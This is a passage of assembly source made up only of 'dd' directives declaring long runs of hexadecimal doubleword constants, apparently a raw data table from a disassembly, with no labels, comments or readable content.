dd 337F780Eh, 8216660h, 5645107Fh, 0F7E180C1h, 10C31043h
dd 0A658910h, 98C1827Ch, 15415E1Eh, 0B44B22D8h, 0A234A450h
dd 3B7FA0Fh, 0D2642442h, 78003852h, 32F5DDDCh, 0F9206DFh
dd 6FBC0BB5h, 0F34BEE80h, 0C384923h, 6561804Dh, 0D5ED29E3h
dd 0E0C25148h, 0D9E00FE1h, 0DAA0A836h, 34490030h, 0B4C6986Ah
dd 4C7B4E56h, 59000E76h, 0CF4AC265h, 5F7A79h, 3F72FCDEh
dd 0DAC382D3h, 0ACCA8501h, 7846F9B3h, 645A5095h, 1CC3E810h
dd 3C9CE145h, 630243C0h, 809D48D2h, 4C1220C3h, 0C5EF47Eh
dd 0C25BD100h, 185ADE54h, 1867DD58h, 0F452DCD0h, 1C3BC078h
dd 6516397h, 619CB1B4h, 0B503795Eh, 14F045FAh, 24111EC4h
dd 0D7860946h, 696D102Eh, 6ACCF160h, 70498781h, 0A4518894h
dd 86E9ED00h, 81E88A46h, 0FCEBCD2Ah, 3985C850h, 3022BB24h
dd 4E6F1280h, 0C083E82Ah, 25657641h, 0E0025FA2h, 454DFD28h
dd 74427Eh, 507E6A0h, 0E60E7CC7h, 88E71AECh, 0D83438D1h
dd 0D0EE20h, 0BDECF5BFh, 0E6B3D3EAh, 0ED26F000h, 0B0BAA49Dh
dd 766B0002h, 3E55D6DEh, 3C0A212Ah, 90657EE4h, 73CC1F02h
dd 0D99C84FCh, 0A08110D4h, 48DC5EDFh, 1183F91Fh, 0D849F70Ch
dd 0C8EE711Ch, 0AB11BC0h, 28E03F3Ch, 31C3DCEh, 0EB194CA7h
dd 7082253Eh, 0C1E5A8B8h, 0EB4CA084h, 2EA1144Ch, 61E28C60h
dd 574FE882h, 30D2BE19h, 1A86C3D9h, 10B266CCh, 0A82E50B0h
dd 0C70E4491h, 897A2F77h, 7CC420E2h, 2850656Eh, 0C2C0FCA1h
dd 8B7B5551h, 0B4778090h, 62481490h, 0C406A130h, 20216500h
dd 702A9E30h, 0DCFDC7D8h, 3DCC4050h, 4BEF3E42h, 4630661Fh
dd 2078C8E8h, 3C9D9C93h, 12EEC611h, 84428951h, 0E0D3531Eh
dd 9955ED27h, 9900BDB8h, 434EF59Bh, 0DF613B58h, 9A2A4D99h
dd 1180ECD5h, 7E55FA46h, 0CA2A471Dh, 0D33FA870h, 8B26F858h
dd 42804CEDh, 0B45C23FEh, 44E64843h, 6E5FE0C1h, 41844774h
dd 411DD21Eh, 0E0187874h, 4D267C69h, 138B7CC2h, 306080B1h
dd 1D5BF3D3h, 1DBED6E5h, 9C54945Fh, 0ED3FE907h, 491F96D1h
dd 0EEE72918h, 549DB1h, 0C2BBEB17h, 0B2C17DA0h, 36000E7Ah
dd 0B495DA0Ch, 24C5C053h, 562948h, 0F6B51702h, 0E04C97DBh
dd 0BC842AE0h, 0F89868F0h, 9D081C58h, 8C088514h, 8834206Bh
dd 6F246409h, 0E008F8D8h, 866C00C1h, 33852630h, 65002899h
dd 73E2705Fh, 0D2563B64h, 0CCC78AAh, 3F2D7E5Eh, 700C3851h
dd 11DF3A19h, 98E0A4BEh, 3544924Ch, 10F9C961h, 993A148Ch
dd 40093040h, 223B3596h, 427BD8C0h, 2E9C100Bh, 50C46050h
dd 185AAF4Dh, 0B0A06D79h, 5F22D77Eh, 0FF2B50AAh, 0F0397264h
dd 4210B8F3h, 0B30597Bh, 99544F92h, 87179A18h, 28B08B0Ch
dd 611041CBh, 9800C70Ah, 0EB2B2C96h, 0E1C6725Fh, 5080086Dh
dd 0A15B086Ah, 0B7107B94h, 6C120B88h, 54206544h, 11FAA34h
dd 0F196B5C1h, 52EA4281h, 98985B88h, 2224E431h, 351E5424h
dd 70B15840h, 2E126F49h, 43177Fh, 343155A9h, 0C984F2Bh
dd 0ED87A00h, 47E33AFCh, 16C90F8h, 699EBE3Dh, 0F03580C2h
dd 62A3627h, 95020C4Ch, 7D07D434h, 8BD8C0E4h, 0FDF0F5C8h
dd 7B970E50h, 53EA66AEh, 0BDEF8440h, 0D6948171h, 2541E007h
dd 28C24B24h, 0DD401826h, 1B53633h, 17D7B8A2h, 2043D167h
dd 4F09940Ch, 0AFC83B37h, 2EA28454h, 0ABD38CC0h, 40466775h
dd 0E8DCC168h, 6F1434F7h, 4C5A4818h, 48538AE8h, 8B015CF6h
dd 8402D176h, 2240835Eh, 0B04FDBh, 0D0A66B58h, 0C0EDB77Bh
dd 0FA80D718h, 9228AA8h, 0EBADFBD6h, 301CE007h, 0C2B8A532h
dd 8238DCB3h, 9F0713D2h, 0A3E08499h, 0A57054D1h, 0C00079F5h
dd 0F560BB4Fh, 0A366B58h, 26B27C57h, 80BC3F4Eh, 0E06C53ABh
dd 0AA001BDEh, 35B89F90h, 0A1BA59D3h, 7ADC3EA8h, 36090175h
dd 4E8F27FCh, 1F46C822h, 0E20503B8h, 0A2D8E79Eh, 452B800h
dd 0C13BFE1Ch, 1FDB35B0h, 0DD488193h, 0A64B786Bh, 4CD948F3h
dd 6C40360Fh, 209A0945h, 261A6384h, 26B91780h, 642448h
dd 769E2D9Ah, 2C0C1667h, 0F9B429DAh, 5DF486BDh, 22AFB244h
dd 0C621260Ch, 510C058h, 2222CA1Ch, 0E9D710A5h, 8047373h
dd 0FB64DF3Ch, 6FA1F2Bh, 0CF97E604h, 23760881h, 9560E0D6h
dd 0CC104C41h, 0C51E017Dh, 38295498h, 204835C8h, 3EECF2EBh
dd 0A7C0D300h, 4EFD963Ah, 921800D1h, 6A6489Eh, 4C9840AAh
dd 93147FB0h, 0E0203E88h, 8602032Bh, 0F2056078h, 94FD53A2h
dd 202EC406h, 12747AF0h, 4C93DCBh, 0C023C628h, 856ABB0Dh
dd 31C1C20Ch, 60B60899h, 8288208Fh, 3900EB7Bh, 0A873A060h
dd 168EA498h, 411FD128h, 0BE6C3160h, 9184216Ah, 8E83C060h
dd 7DFAAA7Bh, 965D001Ch, 0DA9FCF7Bh, 0D90B55BCh, 87F71688h
dd 607CDF94h, 90A64C56h, 0A44B105h, 87D8C846h, 4176C340h
dd 0E2D040C6h, 20B2EBFDh, 0D54D600h, 3FCB3184h, 73591D67h
dd 0F0B21F3Eh, 0C9D2520h, 34B1850Fh, 0D758983Bh, 0D4C724E8h
dd 222E42F0h, 14317860h, 0F268CE09h, 0C804A156h, 0F300E3EFh
dd 1A00F101h, 44F8A32Ch, 5023D4h, 0CCAF0922h, 4E953884h
dd 79C3E700h, 0A87D5346h, 2DFD0072h, 48EC8AA1h, 4D034105h
dd 9F66B4D8h, 19A0D9D5h, 73CCE6D8h, 61E2078Dh, 70DFF770h
dd 5F95D940h, 0D52F8600h, 0A2C2ABB5h, 1B22000Ch, 432873AEh
dd 0D000245Ch, 0B92C9FCh, 6087Dh, 9AB316Bh, 0F58CCAECh
dd 43F86001h, 0E04498ACh, 0FED97360h, 7B5400E5h, 0C5C4B932h
dd 0F2008114h, 0B51CA75Fh, 59F590h, 39C80DF0h, 0DA453A29h
dd 0E00061E4h, 0F894A49Ah, 0AFD332h, 0C7651E93h, 62EA5E58h
dd 912AB301h, 0CF6C66CAh, 7AB05880h, 3EF7D51Bh, 4087C000h
dd 115435C3h, 824F017Dh, 98E2D453h, 5870C023h, 0AE637800h
dd 3FBDABA6h, 4CC71C11h, 1E1E88h, 0E1D01934h, 4907F241h
dd 2BF51D39h, 4670D780h, 87910EB4h, 0B7EA9C32h, 0C27F1CBCh
dd 0CAC3409h, 5801B7E3h, 75F9F888h, 23C821C9h, 0B6E300A7h
dd 5A46FAD0h, 0DF00E50Fh, 378776DAh, 75741409h, 3751DA7h
dd 38A59BE1h, 809CA48Fh
dd 0C01CE992h, 0D714A67h, 5BD1B330h, 0BCE35F2Fh, 0B849008Ch
dd 21BF409Dh, 8EFA0EBAh, 9FD6FDh, 28B17C32h, 0A0000A02h
dd 9120BEA4h, 7BA961F6h, 4B320363h, 0D2BC4310h, 0CFE0B9C2h
dd 0C50F93D8h, 0C00705D6h, 0B0730C48h, 29E448BDh, 39816000h
dd 1B13BFAAh, 86DE2D00h, 8C5C641Dh, 98550056h, 0B4CC67ECh
dd 0FF065D7Dh, 0D0D60926h, 767FF9h, 67728EBDh, 17F62EB7h
dd 507AA003h, 0B82DF5BFh, 0F847CC81h, 0EF7B66h, 7ACBB9A7h
dd 0D8CEF2ACh, 9B24D703h, 0BD17AD32h, 46948803h, 0DB2AE8C2h
dd 0BF8D1E33h, 2CC58797h, 14CA83B2h, 0E54F0188h, 35192100h
dd 0D31D8710h, 0F91600EEh, 0E4EB64E2h, 3301B643h, 39967EC8h
dd 5A20F087h, 0F94E02B5h, 2EC19F1h, 0B0A8B443h, 0F038F2Fh
dd 775B04A2h, 1185C851h, 919000F4h, 0EA23F1B7h, 765038D4h
dd 0F707E6E4h, 0AFDD1C49h, 5F250BD0h, 0B9920097h, 3721BED2h
dd 0B01D85C0h, 80C0D3ADh, 0B2C6298Eh, 32910042h, 0FA4FBECEh
dd 6800A7F0h, 0D82B21C5h, 47C66Bh, 0AE759004h, 4E81EBAAh
dd 109073F4h, 0B992B00h, 0FB7DCBB3h, 5E2C0084h, 710380B1h
dd 0D124B6EAh, 0B80054E5h, 91D81EF0h, 0E1CD0040h, 13FF2277h
dd 6400A5D9h, 398F6ED3h, 7F52E24h, 30B10BBFh, 733D60ACh
dd 0A7006470h, 8D45E4D4h, 0E2B2022Bh, 53E100ECh, 3FEEC90Ch
dd 0ED0F64E5h, 63B4DC34h, 0C07E76BAh, 0C93839h, 0ADF2A0B8h
dd 8A6EC816h, 0CE511107h, 0FC70D5EBh, 0F2857EBFh, 0F31600AEh
dd 97634293h, 5700151Eh, 0EFFB1DCFh, 0E09EBD48h, 0AA50C018h
dd 0E194643Dh, 3E304A77h, 40A119FFh, 7960005Ah, 41835958h
dd 1C90BC77h, 0DF7CB003h, 0B8DE7497h, 7AC6AD53h, 4D8A1F45h
dd 4292C48Dh, 65C0FBFEh, 3FE9EAh, 7947C9C4h, 24093A7Bh
dd 9B6A3703h, 0B8258D19h, 409C64h, 0F0D484FEh, 0D92D606Fh
dd 8FED9700h, 7DA087A5h, 6BFE074Eh, 0C1A2CE19h, 202D9FB3h
dd 9900EFD0h, 58BF620h, 0E5B9C8h, 43981CBDh, 503AE7A3h
dd 156CDE01h, 84F6D138h, 735870h, 938D6F29h, 0E9140C2Bh
dd 47600900h, 70307CBDh, 8E50004Fh, 0D3F60BBEh, 260079FDh
dd 49C40D3Dh, 1C377F30h, 7126D81h, 80CFD0F0h, 3B3A60E0h
dd 46BB82C1h, 28207418h, 4777AAEh, 3DADD7EBh, 0F7E48056h
dd 3504D8DBh, 0D55B03CEh, 4ED12880h, 9972184Ah, 1F4710D4h
dd 6AB05F00h, 2674E3F0h, 29CF008Dh, 1303E4CAh, 7B00E514h
dd 0FF35D95Ch, 73EFA80Dh, 417E6095h, 1BE29D54h, 35D47154h
dd 0A74B5603h, 0F0C0FEF0h, 39935827h, 0CC008EE5h, 14E3231Fh
dd 0BF039AD7h, 3C768617h, 0FE3188B1h, 4CCA0038h, 0F88E4563h
dd 8200A16Eh, 35C9070Dh, 0E0886ABh, 84681BBEh, 0E2B78E20h
dd 807CFF56h, 0A0EDF028h, 341A31A0h, 5A073C70h, 0D02D62E5h
dd 0D1C4A841h, 0F940F5DEh, 58005578h, 5AE01BE7h, 3F0298Dh
dd 542CBE09h, 0CED05D2Bh, 6700C918h, 4D40AD93h, 0F19998h
dd 35D483C6h, 1C4AB475h, 2DF2D100h, 0FCDE972Ch, 82F001A2h
dd 4BDC12Fh, 6226DC46h, 38D27300h, 0D567657Ch, 0AC133AE3h
dd 58F58480h, 97F15C19h, 8C0053F4h, 14C6ABE5h, 9C0E30h
dd 3395CDDFh, 0AF3C9E79h, 0A500C4E6h, 0B1970B90h, 89E6E0h
dd 0FD05892h, 0B8C73EF5h, 8D071000h, 73F601A2h, 0A2C005Fh
dd 240255A1h, 2F00E689h, 68213F17h, 1C63AC5Ah, 809087EAh
dd 18928F3Ch, 0FA00B586h, 0DECCE7A9h, 8B236Dh, 0C050BC04h
dd 0E1F56C9Ah, 0A137AC00h, 0DB9EB396h, 8B9301DDh, 6452473Ah
dd 77F840F6h, 9B00EC2Ch, 0A788128h, 3FE917E3h, 0E26C0B4h
dd 57EB02D0h, 14604C1Bh, 0EC00E04Eh, 7051DC3Fh, 0C661B2h
dd 219A3BFh, 0D192132Ah, 8E6F5C01h, 95A8E0EBh, 1D9D66C4h
dd 0DF7E01B2h, 0B5B4029h, 0BB202FDEh, 0AD153F00h, 8162D08Ah
dd 0C8BE59B7h, 240B3D00h, 0F8B03B57h, 1D03853Ah, 5009DBA7h
dd 8C6C00FEh, 1840D1A3h, 0A80B8FCEh, 0A20FE9AAh, 0E45A32CFh
dd 53C01BFEh, 730109ACh, 3DFC01A8h, 0A7A5845Eh, 0B135D4B7h
dd 0ED27D100h, 72804DC6h, 1F6EC31h, 0BD1D2E50h, 0E0DFF2FFh
dd 7C0087A8h, 0FED4C82Fh, 0DEB730h, 0DB3BF36Fh, 0BB10AFCEh
dd 0D4AEA43Eh, 5D28EC98h, 0D900F037h, 0D1FCF02Eh, 0F7815BEFh
dd 187560h, 118D12FDh, 63F68B3Dh, 0F8A7DC30h, 1FAFF4D6h
dd 14CC85B9h, 0BC060C78h, 0F8FB9D99h, 0E02ACF30h, 759F3F1Eh
dd 0AB6304DFh, 0AB71BA9Bh, 2DA8DD03h, 0DB25D84Bh, 1E5B0462h
dd 80D54A55h, 0D7C68A49h, 77C9EA1Dh, 340441Eh, 4DE6CFC0h
dd 2D9A0E6Fh, 90408E2Fh, 4E453707h, 5272050Eh, 0BD34C011h
dd 7EDA08h, 9CD65947h, 961B0EBBh, 7F69C500h, 1738B855h
dd 5060036h, 0D5D93559h, 0E6054E11h, 7B6D696Ch, 2C6AAAC0h
dd 89440086h, 78F1EEB2h, 2403E226h, 613B3E65h, 0DBE5D0EFh
dd 0F80E789Eh, 0B45C003Dh, 1F1A8D15h, 5A00CD45h, 2262FBF3h
dd 7272DB41h, 3D3E0CD2h, 93299B3Bh, 7E7488h, 5C318EABh
dd 0A7EC8170h, 3217C800h, 1D624E87h, 0FFA30030h, 0B51B604Ch
dd 4928069Bh, 0EC00D352h, 476EAFE2h, 1C4D9F74h, 0C0F04F85h
dd 0D2C07567h, 10007F28h, 0B6B95CCFh, 21BD6FAh, 5F74A91Dh
dd 0E640467Ah, 2005BC1h, 13C9E295h, 0C301E5h, 70BCE115h
dd 2C8DC889h, 0E07F30E9h, 956E0600h, 797A217Ch, 9FF700DCh
dd 5FA0AF91h, 1C1C4102h, 47811DF8h, 6A7F9377h, 0BC66F4h
dd 7C09273h, 18D48741h, 766E1900h, 4A2748AEh, 8DFC0024h
dd 72BB9DABh, 0B20F62CAh, 20DA342Ah, 7CD97773h, 0AD352C08h
dd 0BBEB0095h, 0E6DEB15Fh, 80A4643Bh, 199649AEh, 26950h
dd 0A9547072h, 4A479C5Bh, 3AF5A038h, 80163AAEh, 5DD4AFB7h
dd 3A551F1h, 5271F222h, 5F01068h, 0E905C3BBh, 0BF8EB8D6h
dd 31D9A200h, 33C5238Bh, 0ECF2AE52h, 0CD292CA7h, 0BF7A5E00h
dd 7CB669B4h, 0DB8B00C5h, 6A189B23h, 0F33B40C0h, 3EE5148Ah
dd 39DD0189h, 21266DF2h, 0EF2ED0h, 0F65B4D3Dh, 710BB01Fh
dd 1A0025ECh, 924FD141h, 0B754978h, 0D87B4015h, 5C8B7600h
dd 0FA01F913h, 0FE32A4C7h, 4C202A96h, 3A1004F8h, 80FFDA8Ch
dd 0E34A4330h, 5C26AB01h, 14B07A9Ch, 4D10C0h, 37D032CCh
dd 0ECEB8D0Dh, 0A921A500h, 976D7AC8h, 0CC1839FBh, 80061F02h
dd 8540B165h, 7300D9C2h, 0E8596603h, 77C07EEBh, 27B0000Ah
dd 45974B96h, 64008DECh, 1AEA7F8Fh, 137E5BC7h, 0D0D702h
dd 263D07F8h, 33987D82h, 58DD4300h, 12EC4439h, 0A46348B5h
dd 0A666500Eh, 219C9E80h, 0FAA0F58Ah, 6200D69Dh, 0A1A554F7h
dd 457D12h, 1DB86EBFh, 48B31FB7h, 0A0A39004h, 0B0C02CD5h
dd 3C77E37h, 931CB8FAh, 74906160h, 4C003E3Bh, 34BBED6Ch
dd 0E022BD15h, 1C480336h, 2C99A339h, 0DDD96080h, 7AB22802h
dd 80D4A561h, 1EBF08F2h, 0A1C3A030h, 769A3AC3h, 0FA78E001h
dd 0FC749117h, 961451A6h, 3C8287Ah, 0D146CE8Bh, 8C803D6Eh
dd 9C270980h, 1E0758D9h, 82E20B01h, 4FCB2131h, 0F61DE0FCh
dd 455200CAh, 4280867Dh, 0EDA0D797h, 0E300DC74h, 0E2F3D2D3h
dd 0A5A44Fh, 77448850h, 0CEF9BAC7h, 0FE155324h, 3D7ACB0Eh
dd 9EA57C40h, 0B4B828h, 0ACD083BCh, 0BA766FE6h, 0B8333828h
dd 0A70AB01Eh, 112C8BC0h, 0AD9E81h, 0F96A16E4h, 0DFCB37A1h
dd 7D4BC300h, 50449536h, 43E300DDh, 70D2FA47h, 9800A80Ah
dd 472567Ah, 7D0D5FF4h
dd 3CC50E37h, 7920E171h, 252C8A73h, 5B095300h, 0D697DA7h
dd 0F928263Bh, 50590014h, 0EF551082h, 704E9C03h, 0D8B1877Fh
dd 3CD16584h, 0FD93F081h, 23C00055h, 0BAB5690Ah, 543C3500h
dd 0EDADE3E6h, 3AC00091h, 7FB171DFh, 4AF4BB1Bh, 2F0F6900h
dd 0D4E0B453h, 0C31E3049h, 0A6FD79B4h, 0F94CC00h, 43EBA71Bh
dd 285EA3Fh, 83F78AD6h, 80607319h, 870006BBh, 0EEAB369Eh
dd 0C07DF166h, 521DA218h, 6B60A708h, 0CF239110h, 7D47541h
dd 0BEDFCC26h, 296D0FFh, 0EBF83615h, 0BBB98600h, 0C88F6AD8h
dd 116F3B41h, 0E3783C00h, 7F17078Ch, 8342400h, 50CBE2D1h
dd 30840023h, 3B3F82D3h, 0A600F1D6h, 7A4BA42Ch, 0A57E53h
dd 3E0A5EEEh, 88AFC05Ah, 19E9F700h, 9690B280h, 0F2DD76CEh
dd 0A817010Ch, 417649FEh, 0D148C5C9h, 0A365DC5Ah, 6B1C7A00h
dd 83F33D2Ch, 0FA171D9Ch, 4C53407Fh, 4E0A6A81h, 61ECC53Fh
dd 5ABBFB1Eh, 0E960F0D1h, 0F9250044h, 0E5D6EDD5h, 0C7004D0Ah
dd 63577634h, 0A0249Eh, 3D0C9785h, 0F5E34FB3h, 0A5437801h
dd 60B0565Ch, 0EEDF2820h, 0E16B00F7h, 0ADCD7E3Ch, 0D000F165h
dd 318C50A7h, 38163767h, 9300AC6Dh, 0EB2AFDECh, 0ED0026A8h
dd 67AA503h, 48C83AA4h, 0B83C04B9h, 0FE00FE4Ch, 1F667588h
dd 0E602C50Dh, 0B9C39FFAh, 0EFD04025h, 0E8991F29h, 0F9A437h
dd 0DFDB86F5h, 113AAB23h, 6AA980C0h, 7B7424B5h, 20C0065h
dd 39AD347Eh, 31704A1Dh, 0CD00FC90h, 70B6F8D7h, 286031Fh
dd 3387901Ch, 58C0353Fh, 0AA00F3BDh, 1904CC3Ch, 7D4D22h
dd 83F5203Eh, 4BB795DAh, 75378A03h, 88D95CBFh, 70E4550h
dd 39F1FB7Ch, 50D52706h, 0E32CD726h, 8A5ACF07h, 3BE4835h
dd 0E804B501h, 0E7DA33h, 97D688A1h, 3609E119h, 2AE2D00h
dd 37FC87C3h, 0BEF41Ch, 4C03547Fh, 0B8907475h, 7B4FE900h
dd 0DC707E12h, 561F3C49h, 761AEB80h, 42DF6AE7h, 7F95390Eh
dd 63A5E3FEh, 69F2B8D4h, 8D47015Fh, 9A3FE21Ch, 8691C4FCh
dd 0E5A4B100h, 53AB6CA3h, 0B2FF146Ah, 6800F309h, 0D6152AAEh
dd 0A0E6D30Fh, 795353Eh, 0F43696D1h, 9F0BDB40h, 183C6022h
dd 0C356D3A7h, 8E0B7F7Ah, 6A08FB6h, 0F0905ED8h, 9278E7h
dd 57BB7A05h, 0D193BEEFh, 603DFA07h, 87A08547h, 18F73591h
dd 0C8DE52E2h, 699858E6h, 5937BC78h, 11DC70AAh, 0F49300D1h
dd 819216DDh, 86158CB6h, 80357Ch, 0DC4D6CC4h, 0B0FA46E2h
dd 4157184Fh, 0DEDF70BFh, 0B7864C1Ch, 2CBA2D05h, 0BE5711C1h
dd 1E7D37C8h, 0C0B22AB3h, 0D694EE9Dh, 6200B4D1h, 0C4268AD4h
dd 7983151Ch, 0F5D500B0h, 0D342D20Ah, 19E658B7h, 0E7D9530Fh
dd 25F3C72Fh, 6898D020h, 87ED0018h, 41528611h, 0FF24A010h
dd 0E4004BFBh, 0BF89EE5h, 0DCE6001Bh, 284EBE75h, 0C13FC25Eh
dd 9D33BBC0h, 8440382Eh, 0FF1D0F0Bh, 0F6AC07DFh, 87B32CB6h
dd 18804B75h, 181716D8h, 6C10E003h, 0F84F9DD1h, 955F53h
dd 0F7DEB897h, 8482FFD3h, 98A47C1Dh, 25DA305h, 0B137DAC0h
dd 51170AE5h, 80A452E0h, 3F7E76DDh, 0DC006403h, 0E6EE9AC0h
dd 41262Eh, 4E052077h, 0C310EA1Ch, 7FD34D00h, 2660F139h
dd 4C880B9Ah, 0F380A002h, 0A77478F6h, 4034DFEh, 54AB2C11h
dd 0E2C5CAA4h, 814F40ADh, 1FE93B5Fh, 4283DC80h, 0E8C64AD8h
dd 0F0A10F00h, 500B996Ch, 80390027h, 0DC29C83Ch, 4600FF10h
dd 66DEA8A9h, 7B31E40Dh, 715D003Ah, 7AF701D0h, 77079EA0h
dd 0FF2140C8h, 53359CB0h, 0E9BD0069h, 0D5B95ABh, 2300133Ch
dd 0B496EE46h, 0EFAF2Bh, 4D5FD597h, 0F53E9329h, 0D7F7DC00h
dd 79AA46F4h, 409600ECh, 33B27F94h, 0D8046F87h, 434AF0FAh
dd 99C34081h, 18B0E0F7h, 0F63D007Fh, 0F22B3A7Bh, 9E0117D4h
dd 0AE3042F4h, 0A3CCBDA4h, 0FAC31246h, 957C4F39h, 7B3099E2h
dd 5F9B49C0h, 745A3200h, 0F92412BDh, 7DC300C6h, 86396518h
dd 0B072C181h, 8059413Ch, 0CC437331h, 33A557DEh, 6F20D47Ch
dd 27A2D8A0h, 3250A80Eh, 0A45432Bh, 88CFE335h, 1F7F1A42h
dd 7813B8h, 0DBCB5CD7h, 0C605B953h, 1087C22Ah, 560066C7h
dd 0B40F10Bh, 0C08A6DDFh, 2CB35681h, 913D85Eh, 963AF279h
dd 7CBA9E9Ah, 8EC0671Eh, 19F43B9h, 8AEE0785h, 0C19CF672h
dd 0E862B7F8h, 96009B92h, 6899654Bh, 0F901ADh, 0D036CB1Ch
dd 175333D8h, 7364303Eh, 4762EA2Eh, 758B480Bh, 8AE6C482h
dd 0A71D7C60h, 9F66B900h, 74F4CD88h, 0E42D395Ch, 2127800h
dd 717BB498h, 0CD0BD0EEh, 80C0E114h, 7FD1ABADh, 0EBEE003Ch
dd 9A40910Dh, 5B01218Ah, 228FB3C4h, 1880E26Ch, 0E156FDCBh
dd 0A900EBD3h, 0D90B8ADh, 0BD7674h, 0BFC09C34h, 8B71D2Dh
dd 692445F6h, 95001489h, 0CAA3B4EDh, 669A014Eh, 923EB7D1h
dd 7FC7705Dh, 4B75B300h, 0E814B961h, 2619EC46h, 0AC3A6Ah
dd 0F5D48FF6h, 3C005C7Fh, 0EA098539h, 66B89Ch, 6F389B9Dh
dd 8DBBBFD3h, 9EC4A11Dh, 1DCD4240h, 2CC7AD95h, 1D5C9A3Eh
dd 0E5870046h, 1EEAD55Fh, 9B824200h, 869DF273h, 6D2E18C8h
dd 0C4C9929Ch, 55E4D50Bh, 45EF027Dh, 16D6E0D1h, 0D0AB60A5h
dd 8F15708Bh, 7C8CE124h, 42DEBF04h, 0E8749400h, 0EDEA8BDDh
dd 14812213h, 90477007h, 0E17228F0h, 0A8920AE6h, 87980D57h
dd 13204F50h, 0B1809AA6h, 87B04370h, 0AFCF7800h, 9939970Dh
dd 0ECA3004Fh, 22FB42BCh, 14006064h, 5EA9EA1Eh, 7FCAE01h
dd 0F37EFF40h, 87452076h, 0C6007F8Eh, 4751DBA6h, 65B16Fh
dd 0F10A3F3Ah, 0FA702CAFh, 0C8122400h, 43CBF4Bh, 0A2940C81h
dd 72105448h, 0B5E69900h, 0E32BC728h, 6F35007Ah, 0B6F2BDCBh
dd 76007C1Bh, 0CF01A088h, 80B113h, 4827D246h, 6A7AAFC2h
dd 1F228B00h, 63D192B4h, 0D8580098h, 0FBC83267h, 0EE00E7BFh
dd 356EB7C9h, 707A949Eh, 5FE614h, 989A513Dh, 0C4A66349h
dd 0A3507E12h, 24552020h, 0EF0600DEh, 8F52AF28h, 4D79B913h
dd 56001890h, 0FF31BB26h, 366FF3h, 56E3BC8h, 0EA0A48BCh
dd 0BB591B00h, 0FA126D7Ch, 76130E3Ah, 80DF90DBh, 0E0A6B2D0h
dd 92394CEBh, 0C9EF80E8h, 8E73CD3Dh, 0D6C3C62h, 0DF2AA500h
dd 7A30C224h, 945FE912h, 0E581C000h, 0C13BDDA7h, 0CE288912h
dd 2CB0F4ABh, 9015A309h, 384893Fh, 0C0116DC2h, 7ABCFh
dd 0A14AE4CBh, 0ED5AB722h, 28C03E71h, 58305C21h, 369F2A0h
dd 0EE33F7ABh, 49000DE1h, 0FC71B803h, 989AFF9Dh, 86693B62h
dd 5D185A07h, 0BE070250h, 65FE5840h, 0D6D27D12h, 803D5449h
dd 774CDB58h, 0A1C800AAh, 3558F664h, 0B20093B3h, 0B7FAF40h
dd 59B1F3h, 2B9499EFh, 75625512h, 9F46521Ch, 0AFABC744h
dd 0A03575C3h, 0FEACA4Fh, 0C0A289A8h, 641888C0h, 2105B1F5h
dd 0E0BC0E0Bh, 55FB0480h, 9AC1A004h, 1C9E3D2Ch, 16DA4680h
dd 4DEB4097h, 8D913800h, 0BD83D91Fh, 94C00077h, 0EE810631h
dd 0E4002004h, 89073EAAh, 240B64h, 43F39732h, 90C34CD3h
dd 0E3F5551Ch, 0AC023040h, 870D08h, 6019C27h, 339AFD64h
dd 0FEB9B600h, 4EC09FB1h, 45660002h, 0EF448878h, 0F00DA04h
dd 0C91F7FACh, 0A92C32h, 35626A29h, 0E6F0B3B9h, 2FC8BA07h
dd 0FB0530Bh, 48D6EA2Bh, 0A200DB4Eh, 76040652h, 0C000334Ch
dd 233E9931h, 0E47528h, 0F5C2A4B8h, 0F702FE6Eh, 0EFB4920Eh
dd 76E22042h, 383FB8DCh, 0F008C5Ch, 99DAC08Fh, 58BD6EC7h
dd 1EBC097Eh, 0F80930CCh
dd 0FDB62600h, 0E70077DEh, 52234AB4h, 7A39604h, 0BF0FD2FFh
dd 73C2307Ch, 0E00034E2h, 78C680ECh, 0D7F681h, 88B0F8E8h
dd 0A26F8FCEh, 5FC07200h, 8EB58A7h, 9DD303ADh, 956E6077h
dd 0E7704098h, 28F57C00h, 27B0593Bh, 439000A9h, 23195F3Eh
dd 0D07D04E4h, 29655A01h, 6EA6D11Ah, 0A6605DF1h, 0DA7D191Bh
dd 1A41070h, 2180B4B8h, 4D52CCF4h, 9D007F11h, 0C483468Dh
dd 710932h, 0CB8B2A3Bh, 1CA4FB08h, 92BBD70Ch, 0F884386Fh
dd 3086F0A2h, 0DC822ABh, 16007B2Fh, 99261487h, 3FD64027h
dd 0DB83D99Ah, 0B13EEFA6h, 8FF34100h, 305D53CBh, 0F07E41ADh
dd 0A43C0F08h, 50CA0026h, 6814E89h, 79DD00DBh, 0FAAF16A2h
dd 7B00AD11h, 0BFD009F1h, 1FA7DA70h, 0C27FFB45h, 0B0CC857Eh
dd 97A53660h, 51F04C07h, 2EE1FA20h, 0FC882D6h, 0D721000Ch
dd 33AD76F7h, 7DF0DAD5h, 54AAC51Ch, 80E6574Bh, 639D9F6h
dd 4EBF07CCh, 40B9D6C9h, 0ECB29116h, 0CFBC3A03h, 98815D50h
dd 1E3ABADh, 0F886E04Bh, 0E4783E20h, 980123FAh, 0B3DFB9D8h
dd 7A604315h, 0D31905C4h, 90169Bh, 3102E284h, 4C00EFE4h
dd 0AE0DBF1Ah, 0AB92DCDh, 0CFFD86B4h, 3738038Ch, 70E07AEAh
dd 850723E2h, 0E3CE9A54h, 52727FF1h, 0E3999E8h, 0D72B818Eh
dd 0C81CA8F4h, 0B8FC567Dh, 44980472h, 0EF83CC35h, 1BE8C0FAh
dd 14EE1870h, 0A04D3176h, 621F3Bh, 9B42FAA4h, 9A5EAC4h
dd 982E54EFh, 63D1801h, 5A308071h, 25AFA22Ch, 0D7B018AAh
dd 5C3DD095h, 0F9CE08C0h, 0ED0A8Ah, 9C7B2AA8h, 1CFD36E1h
dd 0CCDA0D05h, 0EA00D684h, 95E44A28h, 2FDC00E9h, 0A8EFEC45h
dd 260710CDh, 0DF2133FBh, 28A1AAC0h, 0FD10F5Bh, 8E024FDAh
dd 0D960BDACh, 6D181E06h, 0E14EB6B0h, 54F00C57h, 5E10B3ABh
dd 0ED2A5C15h, 9F9A0DA4h, 4847A05Dh, 8E6C81E0h, 0E85E835h
dd 0E3D5314h, 0E6781200h, 6C9255DBh, 2ECC6F0Fh, 44CF203Fh
dd 1D7C094Fh, 0D6E002h, 0AF9077B8h, 3D0CE6A0h, 18E33269h
dd 0F4CA186Dh, 50B9F8E0h, 0F7F2CF07h, 0D680D9BCh, 7FAF09Eh
dd 0ACBA7B0Fh, 251C6024h, 0AA187C90h, 418DB97h, 16270063h
